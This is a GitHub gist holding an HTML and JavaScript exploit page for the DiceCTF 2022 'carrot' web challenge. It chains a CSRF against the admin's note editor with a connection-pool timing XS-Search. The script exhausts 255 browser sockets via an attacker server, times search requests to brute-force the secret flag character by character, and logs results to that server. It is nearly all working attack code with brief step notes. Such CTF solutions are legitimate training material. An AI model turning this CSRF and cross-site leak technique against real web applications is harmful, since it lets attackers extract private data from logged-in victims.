-
-
Save kunte0/47c2b53535605d842f984e77d6c63eed to your computer and use it in GitHub Desktop.
DiceCTF 2022 Carrot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>DiceCTF 2022 web/carrot</h1> | |
<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p> | |
<button onclick="csrf()">do csrf</button> | |
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p> | |
<button onclick="popunder()">open popup</button> | |
<button onclick="exhaust_sockets()">open 255 connections</button> | |
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button> | |
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button> | |
<br> | |
<br> | |
<h2 id=output></h2> | |
<br> | |
<form id=x action="" method="POST" style="display:none;"> | |
<input type="text" name="title" placeholder="title"> | |
<br><br> | |
<input type="number" name="priority" placeholder="priority" value=9999> | |
<br><br> | |
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea> | |
<br><br> | |
<input type="submit" value="submit"> | |
</form> | |
<script> | |
// this is send is used as logging | |
LOG = 'Starting' | |
// 255 in normal chrome, 99 in headless | |
SOCKETLIMIT = 255; | |
// default | |
TIMELIMIT = 800; | |
INSTANCE = '' | |
MYSERVER = `example.com` | |
const sleep = (ms) => { | |
return new Promise(resolve => { | |
setTimeout(resolve, ms); | |
}); | |
} | |
const time_fetch = async() => { | |
let test_server_url = `https://${MYSERVER}/?${LOG}`; | |
let start = window.performance.now(); | |
try { | |
await fetch(test_server_url, { | |
mode: 'no-cors' | |
}); | |
} catch (e) { | |
console.log(e); | |
} | |
let end = window.performance.now(); | |
return end - start; | |
} | |
const fetch_sleep_long = (i) => { | |
// 40s sleep | |
return fetch(`https://${i}.${MYSERVER}/40sleep`, { | |
mode: 'no-cors' | |
}); | |
} | |
const fetch_sleep_short = (i) => { | |
// 0.25s sleep | |
return fetch(`https://${i}.${MYSERVER}/ssleep`, { | |
mode: 'no-cors' | |
}); | |
} | |
const block_socket = async (i) => { | |
fetch_sleep_long(i); | |
// needed? | |
await sleep(0); | |
} | |
const exhaust_sockets = async() => { | |
let i = 0 | |
for (; i < SOCKETLIMIT; i++) { | |
block_socket(i); | |
} | |
console.log(`Used ${i} connections`); | |
} | |
const timeit = async (url, popup) => { | |
return new Promise(async (r) => { | |
popup.location = url; | |
// needed? | |
await sleep(50) | |
let val = await time_fetch() | |
r(val) | |
}); | |
} | |
// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split(''); | |
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split(''); | |
// const alphabet = 'abcdef}'.split(''); | |
const oracle = async (search) => { | |
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}` | |
let t = await timeit(url, WINBG) | |
LOG = `${search}:${t}` | |
console.log(`${search}:${t}`) | |
return t > TIMELIMIT | |
} | |
const brute = async (flag) => { | |
for (const char of alphabet) { | |
if (await oracle(flag + char)) { | |
return char; | |
} | |
} | |
return false; | |
} | |
const calibrate = async () => { | |
return new Promise(async (r) => { | |
// slow | |
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{` | |
let t1 = await timeit(url1, WINBG) | |
console.log(`slow:${t1}`) | |
// fast | |
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX` | |
let t2 = await timeit(url2, WINBG) | |
console.log(`fast:${t2}`) | |
return r((t1 + t2) / 2) | |
}); | |
} | |
const exploit = async(flag = '') => { | |
console.log('Starting') | |
// dont go to fast plz :) | |
console.log(`waiting 3s`) | |
await sleep(3000) | |
// exaust sockets | |
await exhaust_sockets() | |
await sleep(2000) | |
LOG = `Calibrating` | |
TIMELIMIT = await calibrate() | |
LOG = `TIMELIMIT:${TIMELIMIT}` | |
console.log(`timelimit:${TIMELIMIT}`) | |
await sleep(2000) | |
let last; | |
while (true) { | |
last = await brute(flag); | |
if (last === false) { | |
return flag; | |
} | |
else { | |
flag += last; | |
output.innerText = flag; | |
if(last === '}'){ | |
return flag | |
} | |
} | |
} | |
} | |
const popunder = () => { | |
if (window.opener) { | |
WINBG = window.opener | |
} | |
else { | |
WINBG = window.open(location.href, target="_blank") | |
location = `about:blank` | |
} | |
} | |
const csrf = async () => { | |
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0` | |
x.title.value = "A".repeat(1000000) | |
x.submit() | |
} | |
window.onload = () => { | |
let p = new URL(location).searchParams; | |
if(!p.has('i')){ | |
console.log(`no INSTANCE`) | |
return | |
} | |
INSTANCE = p.get('i') | |
// step 1 | |
if(p.has('csrf')){ | |
csrf() | |
return | |
} | |
// step 2 | |
if (p.has('exploit')) { | |
// window open is ok in headless :) | |
popunder() | |
exploit('dice{') | |
} | |
} | |
</script> | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment